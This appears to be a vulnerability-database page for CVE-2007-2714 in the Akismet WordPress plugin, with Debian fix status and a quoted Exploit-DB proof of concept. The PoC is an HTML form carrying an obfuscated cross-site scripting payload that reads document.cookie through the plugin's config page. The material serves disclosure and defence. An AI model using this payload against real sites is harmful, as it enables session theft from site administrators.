CVE-2007-2714

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Unspecified vulnerability in akismet.php in Matt Mullenweg Akismet before 2.0.2, a WordPress plugin, has unknown impact and attack vectors.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-30036 webapps php verified text · 1 KB
David Kierznowski · 2007-05-14

WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting

text exploit Source: Exploit-DB
<!--source: https://www.securityfocus.com/bid/23965/info

The WordPress Akismet plugin is prone to an unspecified vulnerability.
-->

<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html>

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.2-1
sid Fixed 2.2-1
forky Fixed 2.2-1
bullseye Fixed 2.2-1
bookworm Fixed 2.2-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.